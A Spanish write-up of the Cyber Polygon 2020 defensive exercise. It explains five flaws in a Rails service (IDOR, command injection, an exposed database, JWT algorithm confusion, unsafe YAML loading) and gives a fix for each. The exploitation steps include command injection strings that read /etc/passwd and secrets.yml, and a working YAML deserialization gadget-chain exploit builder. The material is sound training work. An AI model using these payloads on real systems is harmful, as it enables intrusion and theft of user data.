Writeup Cyber Polygon 2020

A principios de julio tuvo lugar el Cyber Polygon 2020, un ciberejercicio internacional organizado por el Centro de Ciberseguridad del Foro Económico Mundial, Sberbank Group y BI.ZONE. La modalidad era un CTF de tipo ataque-defensa y el escenario era el siguiente: 

La infraestructura virtual de una organización contenía un servicio que procesaba información confidencial de un cliente. Este servicio se convirtió en punto de interés de un grupo APT. Los ciberdelincuentes iban a robar datos confidenciales de los usuarios y luego revenderlos en la Darknet para recibir un beneficio económico y dañar la reputación de la empresa. El grupo APT estudió el sistema de destino previamente y descubrió varias vulnerabilidades críticas. El Actor lanzó el ataque el día del ejercicio. 

Y ese era el eje central. Sin embargo, durante la capacitación de Cyber ​​Polygon, no se esperaba que los participantes se atacaran entre sí; todo lo que tenían que hacer era proteger sus propios servicios. Por lo tanto se tuvieron que poner sólo la chaqueta de azulones/Blue Teams y sus objetivos eran: 

  • contener el ataque lo más rápido posible 
  • minimizar la cantidad de información robada 
  • mantener la disponibilidad del servicio 

A cada equipo participante se le proporcionó un servidor virtual Linux con un servicio con 5 vulnerabilidades que debían proteger: 


1. Insecure Direct Object References (IDOR) 

La vulnerabilidad conocida como referencia de objeto directo inseguro (IDOR) es causada por fallos en los mecanismos de autorización. La vulnerabilidad permite que un atacante obtenga acceso a datos de usuario que de otro modo serían inaccesibles. Concretamente ésta estaba en el método get de la clase UsersController. 

 backend/app/controllers/users_controller.rb:

def get
  user = User.find(params[:id])
  if params[:full].present?
    json_response({
      id: user.id,
      name: user.name,
      email: user.email,
      phone: user.phone
    })
  else
    json_response({
      id: user.id,
      name: user.name
    })
  end
end

Al llamar a la dirección http://example.com/api/users/ cualquiera podía obtener un objeto JSON que contenía un id numérico y un nombre de usuario correspondiente al mismo. Pero esta funcionalidad como tal no representaba ninguna amenaza para los datos del usuario. En su lugar, debían centrarse en el siguiente fragmento de código:

if params[:full].present?
  json_response({
    id: user.id,
    name: user.name,
    email: user.email,
    phone: user.phone
  })
Había que tener en cuenta que si se transmite el parámetro completo en una petición, la respuesta del servidor devolvía más datos: además del ID y el nombre de usuario, contenía su correo electrónico y número de teléfono. Las flags estaban almacenadas y podían ser robadas del campo user.phone en el directorio del servicio del juego (esta actividad podría detectarse, por ejemplo, analizando el tráfico de la red). Por lo tanto sólo había que mandar una petición del tipo http://example.com/api/users/?full=1 y buscar la flag en el campo de teléfono del JSON de salida. 

Para protegerse contra esta vulnerabilidad, era una buena práctica ocultar los datos confidenciales al mostrarlos al usuario. Por lo tanto, el número de teléfono +71112223344 se podía mostrar como +7111 ***** 44. Por ejemplo:

def get
  user = User.find(params[:id])
  if params[:full].present?
    # Masking user's phone number
    uphone = user.phone
    x = 5
    y = uphone.length - 3
    replacement = '*'*(y-x)
    uphone[x..y] = replacement

    json_response({
      id: user.id,
      name: user.name,
      email: user.email,
      phone: uphone
    })
  else
    json_response({
      id: user.id,
      name: user.name
    })
  end
end
Con esa config el equipo atacante habría obtenido una flag incompleta como Polyg********X}. 


2. Inyección de comandos

La inyección de comandos es el resultado de un filtrado inadecuado de los datos del usuario. Esta vulnerabilidad permite a un atacante inyectar comandos del sistema operativo que se ejecutan en el sistema de destino con los privilegios de la aplicación vulnerable. En el juego, la vulnerabilidad estaba presente en el método disk_stats de la clase StatsController. 

backend/app/controllers/stats_controller.rb:

def disk_stats
  if params[:flags].present?
    flags = params[:flags]
  else
    flags = ''
  end

  json_response({
    disk: `df #{flags}`
  })
end
Al llamar a la URL http://example.com/api/disk_stats, el servicio respondía con la utilidad df del sistema de salida en el campo del disco del objeto JSON, que permitía evaluar la cantidad de espacio libre en el sistema de archivos. El comando que se llamaba fue diseñado para transmitir varios parámetros, pero su valor no se filtra:
if params[:flags].present?
  flags = params[:flags]
  
~~~~~~~~~~~~~~~~~~~~~~~~~~
  
  json_response({
    disk: `df #{flags}`
  })
Esto significa que un atacante puede ejecutar prácticamente cualquier comando del sistema utilizando una sintaxis especial. Por ej. http://example.com/api/disk_stats?flags=;cat /etc/passwd 

Al mandar una petición http://example.com/api/disk_stats?flags=>dev/null;cat config/secrets.yml los atacantes podían obtener las claves para firmar tokens JWT. Con dichas claves se podía por tanto generar un token para cualquier usuario y con dicho token hacer una petición http://example.com/api/me donde se podían obtener número de teléfono del usuario y la flag. 

Para protegerse contra esta vulnerabilidad, una medida suficiente era prohibir que se inyectaran parámetros en la llamada de comando, ya que el rendimiento general del sistema no está vinculado al uso de este endpoint:

def disk_stats
  json_response({
    disk: `df`
  })
end

3. Configuración incorrecta de seguridad o misconfiguration 

La vulnerabilidad conocida como configuración incorrecta de seguridad generalmente es causada por un factor humano. Las configuraciones de aplicaciones estándar a menudo no están específicamente orientadas a la seguridad. Debido a la falta de proactividad, atención o competencia del personal responsable, estas configuraciones a veces no se adaptan a las duras realidades que conllevan importantes implicaciones de seguridad. 

En el ejercicio había una vulnerabilidad incrustada en la descripción del servicio db, en el archivo docker-compose.yml. 

docker-compose.yml:

  db:
    image: postgres
    restart: always
    network_mode: bridge
    volumes:
      - ./db_data:/var/lib/postgresql/data
    ports:
      - 5432:5432
    environment:
      POSTGRES_DB: ch4ng3
      POSTGRES_USER: ch4ng3
      POSTGRES_PASSWORD: ch4ng3
Como puede ver, el puerto de la base de datos estaba disponible desde la red externa. Además, el servidor de la base de datos utilizaba lo mismo como nombre de base de datos, nombre de usuario y contraseña, que también coincidía con el servicio ch4ng3.org. 

Habiendo detectado el puerto de la base de datos como resultado del escaneo de la red, el Equipo atacante podía hacer fuerza bruta del nombre de usuario y la contraseña de la base de datos. Luego ejecutar una petición SQL como la de debajo, que devuelve todos los números de teléfono de los usuarios con flags incluídas:

SELECT phone FROM users WHERE phone LIKE 'Polygon%'
Para protegerse contra esta vulnerabilidad, la solución ideal habría sido prohibir conectarse externamente a la base de datos y/o cambiar la contraseña del usuario de la base de datos (con el servicio api reconfigurado en consecuencia):
  db:
    image: postgres
    restart: always
    network_mode: bridge
    volumes:
      - ./db_data:/var/lib/postgresql/data
    environment:
      POSTGRES_DB: ch4ng3
      POSTGRES_USER: ch4ng3
      POSTGRES_PASSWORD: <VERY_SECRET_PASSWORD>

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    environment:
      - DATABASE_URL=postgres://ch4ng3:<VERY_SECRET_PASSWORD>@db:5432/ch4ng3?sslmode=disable

4. Cambio de algoritmo de firma JWT 

La próxima vulnerabilidad estaba relacionada con el cambio de algoritmo de firma JWT, presente en el método de decodificación de la clase JsonWebToken.

 backend/app/lib/json_web_token.rb:

def self.decode(token, algorithm)
  # cannot store key as ruby object in yaml file
  public_key = Rails.application.secrets.public_key_base
  if algorithm == 'RS256'
    public_key = OpenSSL::PKey::RSA.new(public_key)
  end
  # get payload; first index in decoded array
  body = JWT.decode(token, public_key, true, {:algorithm => algorithm})[0]
  HashWithIndifferentAccess.new body
  # rescue from expiry exception
rescue JWT::ExpiredSignature, JWT::VerificationError => e
  # raise custom error to be handled by custom handler
  raise ExceptionHandler::InvalidToken, e.message
end
Las siguientes líneas merecen especial atención:
public_key = Rails.application.secrets.public_key_base
if algorithm == 'RS256'
  public_key = OpenSSL::PKey::RSA.new(public_key)
end
# get payload; first index in decoded array
body = JWT.decode(token, public_key, true, {:algorithm => algorithm})[0]
La aplicación carga la línea con la clave pública de servicio desde el archivo de configuración y, cuando se ha transmitido un algoritmo RS256 en el token, convierte esa línea en una clave pública RSA, que se utiliza además para verificar la firma del token. Hay que tener en cuenta que si se transmite cualquier otro valor en el parámetro del algoritmo, la línea de clave pública no se convertirá. Si el valor HS256 se envía al campo alg JWT, el algoritmo simétrico HMAC se utilizará para la verificación de la firma del token, y exactamente esta línea de clave pública se utilizará como clave para verificar la firma del token. 

 Así es como el Equipo atacante podía aprovechar esta debilidad: 

- Al enviar una petición http://example.com/api/auth/third_party, los atacantes recibieron la clave pública del servicio del campo public_key del objeto JSON de salida. 

- Una vez obtenida la clave pública, el Equipo Atacante podía generar un token JWT válido para cualquier usuario enviando el valor HS256 al campo alg JWT y firmando el token, con la línea de clave pública del servicio utilizada como secreto para el algoritmo HMAC. 

- Al enviar una petición http://example.com/api/me en nombre del usuario para el que se generó el token, el Equipo atacante obtuvo el número de teléfono del usuario y lo verificó en busca de una flag. 

Para protegerse contra esta vulnerabilidad, la siguiente recomendación podría haber ayudado: cuando se trabaja con JWT, es mejor usar solo un algoritmo de firma a la vez, ya sea simétrico o asimétrico. 

Por tanto, la solución más sencilla era: 

backend/app/lib/json_web_token.rb:

def self.decode(token, algorithm)
  # cannot store key as ruby object in yaml file
  public_key = Rails.application.secrets.public_key_base
  if algorithm == 'RS256'
    public_key = OpenSSL::PKey::RSA.new(public_key)
  else
    raise ExceptionHandler::InvalidToken, Message.invalid_token
  end
  # get payload; first index in decoded array
  body = JWT.decode(token, public_key, true, {:algorithm => algorithm})[0]
  HashWithIndifferentAccess.new body
  # rescue from expiry exception
rescue JWT::ExpiredSignature, JWT::VerificationError => e
  # raise custom error to be handled by custom handler
  raise ExceptionHandler::InvalidToken, e.message
end

Ahora, si envía un valor que no sea RS256 al campo alg del token, el token se marcará como no válido y el equipo atacante no podrá acceder a la aplicación en nombre de otros usuarios firmando tokens con la clave pública del servicio.


5. Deserialización insegura de YAML 

La última vulnerabilidad se asoció con la deserialización insegura de YAML. El método de importación de la clase PetitionsController fue responsable de importar peticiones a través de su descripción en formato YAML. 

 backend/app/controllers/petitions_controller.rb:

def import
  yaml = Base64.decode64(params[:petition])
  begin
    petition = YAML.load(yaml)
  rescue Psych::SyntaxError => e
    json_response({message: e.message}, 500)
    return
  rescue => e
    json_response({message: e.message, trace: ([e.message]+e.backtrace).join($/)}, 500)
    return
  end
  if petition['created_at']
    petition = current_user.petitions.create!(text: petition['text'], title: petition['title'], created_at: petition['created_at'])
  else
    petition = current_user.petitions.create!(text: petition['text'], title: petition['title'])
  end
  petition.signs.create!(petition_id: petition.id, user_id: current_user.id)
  json_response(petition)
end
Se debería haber prestado especial atención a las siguientes líneas de código:
yaml = Base64.decode64(params[:petition])
begin
  petition = YAML.load(yaml)
rescue Psych::SyntaxError => e
  json_response({message: e.message}, 500)
  return

Como habréis notado, del contenido del objeto YAML se tomaba del parámetro de petición codificado en base64 y luego se conviertía en objetos Ruby usando la estructura YAML.load (yaml). Esta estructura era insegura y permitía, entre otras cosas, la ejecución arbitraria de código Ruby en el sistema de destino dentro de la aplicación vulnerable, que es lo que debió hacer el equipo atacante. 

El siguiente script se utilizó para generar un objeto YAML para aprovechar este fallo:

require "erb"
require "base64"
require "active_support"

if ARGV.empty?
  puts "Usage: exploit_builder.rb <source_file>"
  exit!
end

erb = ERB.allocate
erb.instance_variable_set :@src, File.read(ARGV.first)
erb.instance_variable_set :@lineno, 1

depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result

payload = Base64.encode64(Marshal.dump(depr))

puts <<-PAYLOAD
---
!ruby/object:Gem::Requirement
requirements:
  - !ruby/object:Rack::Session::Abstract::SessionHash
      req: !ruby/object:Rack::Request
        env:
          rack.session: !ruby/object:Rack::Session::Abstract::SessionHash
            loaded: true
          HTTP_COOKIE: "a=#{payload}"
      store: !ruby/object:Rack::Session::Cookie
        coder: !ruby/object:Rack::Session::Cookie::Base64::Marshal {}
        key: a
        secrets: []
      exists: true
PAYLOAD

Se aplicó el siguiente código como payload:
phones = ''
User.all().each do |user|
  phones += user.phone + ';'
  end
raise phones   

El código recibió los números de teléfono de todos los usuarios registrados en el servicio, los combinó mediante (;) y aplicó la estructura raise para provocar una excepción, enviando la línea con los números de teléfono de los usuarios como mensaje de error. Luego, el servidor devolvió el mensaje de error al campo del mensaje de objeto JSON junto con el código de respuesta 500. Una vez que el Equipo atacante recibió esta respuesta, todo lo que tuvo que hacer fue ubicar la flag en el mensaje de error. 

Para protegerse contra esta vulnerabilidad, era suficiente reemplazar la llamada de la función YAML.load (yaml) con la llamada de la función YAML.safe_load (yaml). Sin embargo, durante la verificación de disponibilidad, el checker comprobaba que el objeto YAML transmitido permitiera la aplicación de alias. Por lo tanto, la estructura resultante se representa de la siguiente manera: YAML.safe_load (yaml, aliases: true). Y la función segura resultante en consecuencia:

def import
  yaml = Base64.decode64(params[:petition])
  begin
    petition = YAML.safe_load(yaml, aliases: true)
  rescue Psych::SyntaxError => e
    json_response({message: e.message}, 500)
    return
  rescue => e
    json_response({message: e.message, trace: ([e.message]+e.backtrace).join($/)}, 500)
    return
  end
  if petition['created_at']
    petition = current_user.petitions.create!(text: petition['text'], title: petition['title'], created_at: petition['created_at'])
  else
    petition = current_user.petitions.create!(text: petition['text'], title: petition['title'])
  end
  petition.signs.create!(petition_id: petition.id, user_id: current_user.id)
  json_response(petition)
end
Fuente: https://cyberpolygon.com/materials/stsenariy-defence-raytap-k-tekhnicheskomu-treku-cyber-polygon-2020/

Comentarios